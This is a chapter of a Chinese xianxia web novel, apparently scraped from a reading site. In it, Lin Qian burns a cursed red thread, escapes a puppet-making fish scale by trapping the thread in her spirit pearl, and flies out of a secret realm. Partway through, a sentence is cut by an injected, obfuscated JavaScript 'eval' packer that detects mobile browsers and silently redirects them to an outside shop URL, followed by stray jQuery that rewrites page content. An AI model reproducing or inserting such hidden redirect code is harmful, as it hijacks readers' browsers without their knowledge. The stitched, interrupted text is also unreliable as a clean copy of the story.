红线给不出反应?不重要,它不会求饶?也不重要。
林千恶劣一笑,将红线全都绕作一团。再用灵力幻化成丝线,将它死死绑住。
绑完了她来到地面上,在鱼奴消失的地方升起一堆篝火。她想了想,燃起两道灵火符,不客气地将红线丢了进去。
那团红线不断在火堆上挣扎,却无论如何也跳不出去,只能发出无助的“噗噗”声。
“难受吗?我被鱼奴缠上的时候也是这般感受。玉书被吊起来的时候恐怕也在心里起誓,说以后再也不相信漂亮女人……”
林千拿起一根树枝将那团红线戳来戳去,看它在火堆上起舞,在一旁数着它的罪孽。数到蒙玉书那里时,她忽然一顿,扭头往浓稠的黑暗里望去。
这个秘境足够大,秘境门也足够远。她早就看不见蒙玉书和黑鲸他们了,只能从安静到诡异的黑暗里猜测,他也许还好着吧。
再细想也不知道该怎么想下去,她对蒙玉书并不了解,也不知道他到底有没有胜算,还是……果真是敷衍自己的。
想到这里,她眉头一皱。有心想回去,又怕自己过去反而对他是负担。
而对谢骧……
哼,他肯定还活的好好的吧,毕竟祸害遗千年呢。
林千扭头看了眼在夜空中绚丽流动的淡蓝色秘境门,出去的欲望还是不大。
继续留下的理由似乎也没了,谢骧那里她左右去不了,鱼奴也不会活过来带她去别的地方了。
只有蒙玉书离她不远……那她就在这里先等一等吧,他不是说他很快能跟上吗?
林千又随便往黑暗里瞧去一眼,一颗心没来由往下沉了沉。然而实在没什么办法,她只能扭过头看向火堆。她抿了抿唇,继续来戳根本烧不透的红线。
也不知道它到底是什么作的,没有口没有四肢,偏偏有着让人捉摸不透的生命。可是又这般顽强,这灵火烧半天,也就只给它烧出点儿灰来。
这么看来,若是想把它焚烧殆尽,只怕起码得烧个七七四十九天才行。
林千顿了顿,又戳它一下,忽然自顾自摇头道:“不对,他一定不会再也不相信女人。下次碰见落难女子,他也依旧会救。只不过——还是会难过一瞬吧?”
林千忽然想起什么,抬手扔了道风符。一阵乖巧有序的风将旁边的沙尘吹散而去,渐渐露出了深埋底下的几件东西。
一个是发着银光的灵宝戒,上面的气息相当熟悉。一个是莲花纹锦囊状的储物袋,看上去也能想象它的主人是谁。
林千点点头,视线落在最后一件东西上。
那是一片漂亮精致的鱼鳞,上头还沾染着新鲜的血液。
林千看了一眼,下意识颦眉,起身就要过去将它捡起。她刚起身,迎面忽然吹来一道猛烈的风,她顿了顿,移开挡住脸的手。忽然,眼皮猛地一跳。
“小师叔。”
那边传来一道……
她猛地抬起头来,往旁边看去。一棵树底下站着一道极为眼熟的身影,他动也不动,整个人隐没在黑暗里,叫人瞧不清他的神情。
林千的大脑空茫一瞬,心脏猛地一跳,慌忙收回了视线。收回后她又觉出不对,眨了眨眼,随后又平淡迟缓的将视线挪过去。
“你……”
她从未觉得自己的声音这样干涩过,甚至沾染了一些紧张。她想了想,抬起摇光剑说:“你是来取回摇光的么?”
摇光剑被她抬起,却剧烈颤动起来,剑尖直指着黑暗中那道看不透的影子,发出一道低低的剑鸣声。
“嗯?”
林千拧眉看向摇光,分了下心,不妨旁边忽然传来一道巨力。不知什么东西不知何时捆住了她的脚腕,急急一拉,便让她猛地往沙尘堆里摔去。
“你!”
林千嘴里发出一道惊呼,余光似乎看见一道熟悉的红影。
这该死的红线,它什么时候挣脱的?居然趁机来害她!
林千根本来不及发声和诘问,眼睁睁盯着那片越来越近的鳞片。
越靠近,她的大脑越发白,脑子里一片紊乱。似乎看见了完全不属于此时的画面,更不属于她自己。那不是沙尘,不是鱼鳞,也不是什么别的东西。那是——
一个个美丽的少女,眼神灵动,顾盼生辉——最后扭头来看她的那张脸,她还熟悉的很。可很快她们的表情染上相同的死寂,脸上挂着同样用尺子量好的笑脸弧度。
而让她们完成这一致转变的,显然都是她们脸上那一模一样的鱼鳞。
那枚鳞片在她视线里越来越红,越来越亮,隐隐在沙尘里震动。似是感受了她的存在,想要来扑进她的眉心。
绝对不行!
赶在扑进尘沙前的最后一秒,林千没有用剑,没有拿符。她闭眼沉进灵府,将那枚新鲜的灵界珠召了出来。
浅绿色的珠子一经出现,便在夜色里散发着独特的光辉。下一瞬,珠子里猛地发出一道耀眼红光,将周围一大片的东西全都覆盖了进去。
林千被红光刺的闭了闭眼,“咚”的一声跌倒在坚实的土地上。她“嘶”了一声缓慢睁开眼睛,看着眼前变得光秃秃的世界。
沙尘不见了,篝火不见了,鳞片和红线也不见了。甚至眼前还长出一个坑,原本的土地都少了一大块。
唯有秘境门依旧绚丽流转,和一枚悬在她眼前的不停在红绿两色光芒中切换的灵界珠。
真该死啊!
林千锤了下面前的土地,一颗心还没平静下来,忽然猛地扭头往旁边看去。
那边晦暗的树林在黑夜里显出几分鬼魅,每棵树看起来都孤零零的。除此之外什么都没有,自然也没有她刚刚看见的那道影子。
林千忍不住揉了揉眼睛,再次看去,还是什么都没有。
她干脆坐在地上,捏了把泥土狠狠往那边砸去。
“谢!骧!”
“你最好是假的!”
黑暗的林子里惊飞几只鸟雀,发出“啾啾喳喳”的鸟鸣,还混着翅膀扇动的声音。
林千抿了抿唇,狠狠收回目光,心情完全糟透了。
她抬手握住灵界珠往内查看,只“看”了一眼,忽然“咦”了一声。
灵池呢?灵草呢?
怎么整个世界全被沙尘泥土覆盖了,
等等……她的灵草应该还活着吧?
林千开始犹豫,想着要不要将多余的东西先取出来呢,尘土最厚的地方忽然隐秘地动了动。
她眯着眼睛,藏起自己的神识。很快的,看见一根红线颤巍巍的从里头钻出来,伸出“脑袋”四处打量。
它扭头很快刨出自己的“身子”,叠在一起顾涌了一下,似乎很是满意。它晃了晃“脑袋”,尾巴上挂着一枚漂亮鳞片,便想往外爬。
又是“嘭”的一声,它整根红线都被撞散,原地晃了好几下,才往后收了收,仔细去看眼前的世界。
——它的眼前分明什么也没有啊,为什么过不去呢?
林千似乎看出了红线此刻的想法,因为它看着远处宽阔的世界。明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354976|199673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
显迟疑了一瞬,再次往看不见的灵力墙上撞了过去。
又是“嘭”的一声,红线整个又倒回了沙尘中。
林千在外面捏着灵界珠摸了下额头,似乎也感受到了那股疼痛。是啊,她先前在石洞里不也挨过这一遭么?
这么一想,她对里头的红线多了几分同情,不过还是没打算原谅它。
因为她想起来她当时是在骂谢骧,现在红线在骂谁应该不难猜吧?
“给我等着吧。”
林千哼了一声,捏着灵界珠威胁了一句,哪怕红线听不见,她再借着摇光剑站了起来。
她拍拍身上的灰尘,再次往远处的黑暗里看去几眼。夜色还是沉甸甸的,似乎今夜还相当漫长。周围的一切又恢复成寂静无声的模样,她不知道蒙玉书到底什么时候才能出来。
但她已经没时间再等了。
最后再往那棵树底下看去一眼,两眼,林千若无其事收回目光,御剑从秘境门里飞了出去。
她要去找人,
要去找师父,
一定要弄懂那根红线究竟是什么邪物不可!
……
林千出了秘境迟疑了一瞬,没急着走,反倒在剑上停了停。她扭头看着平平无奇,毫无缝隙的山石。若非自己才从那里出来,她兴许也会错过这是一个秘境。
想起什么,她从灵宝镯里取出那半张残图。只是刚一取出,它迎风便碎了。
“……”
林千看它散了个干净,下意识垂下眸子,按了按额头。这一瞬间脑海里塞满了许多东西,从刚进秘境时的意气风发,再到刚才决定出来时满腔难耐的怒火。
当然还有……
被困在石洞里的日日夜夜,到黑鲸腹里短暂闯荡的几次见闻。
短短时日,她似乎经历了许多。还认识了蒙玉书,小十一,还……
林千下意识忽略那个“还”之后的,和其他更多未尽之言。
她抿了抿唇,最后往那山石上看了一眼,不知道这里的一切她能记住多久,也不知道她还会不会再回来。
不过……
她想了想灵界珠,又取出那块罗盘又看了一眼。
这里的一切她一定会弄明白。
正要离开时,林千忽然停下又想了想。她从灵宝镯里取出一把鲜红令旗,将它插在最显眼的地方。
她在令旗下埋了些东西,施了道诀。又从摇光剑和罗盘上引出一道气息,最后拍了拍手,满意的笑了两声。
随后她御剑开始往最近的城镇里飞。现在外面天色微明,晓雾尽散,时辰大好。飞的快点,正好可以借城里的传送阵一用。
只希望师父已经回到宗门了,不要叫她好等。
林千一番操作,忽然觉得累极了。便想换个姿势在剑上坐下来。
反正摇光剑是好剑,会自行引灵也会寻路啊。
比它的主人可懂事多了。
她满意笑了两声,揉了揉胳膊正要迎风坐下,底下忽然传来一道又一道求救声:
“救命啊……”
“救命!”
“有好心人能来救救我么?”
“某定当重谢!”
那是一道极为陌生的男声,因为恐慌而扬了好几个声调。
“……”
林千顿了一下,没忍住垂眸看去。下面是一处密林,不远处正尘土飞扬,似乎有什么好热闹看。
会是什么好热闹呢?
她坐在剑上托腮犹豫,视线没收回,但剑也没停。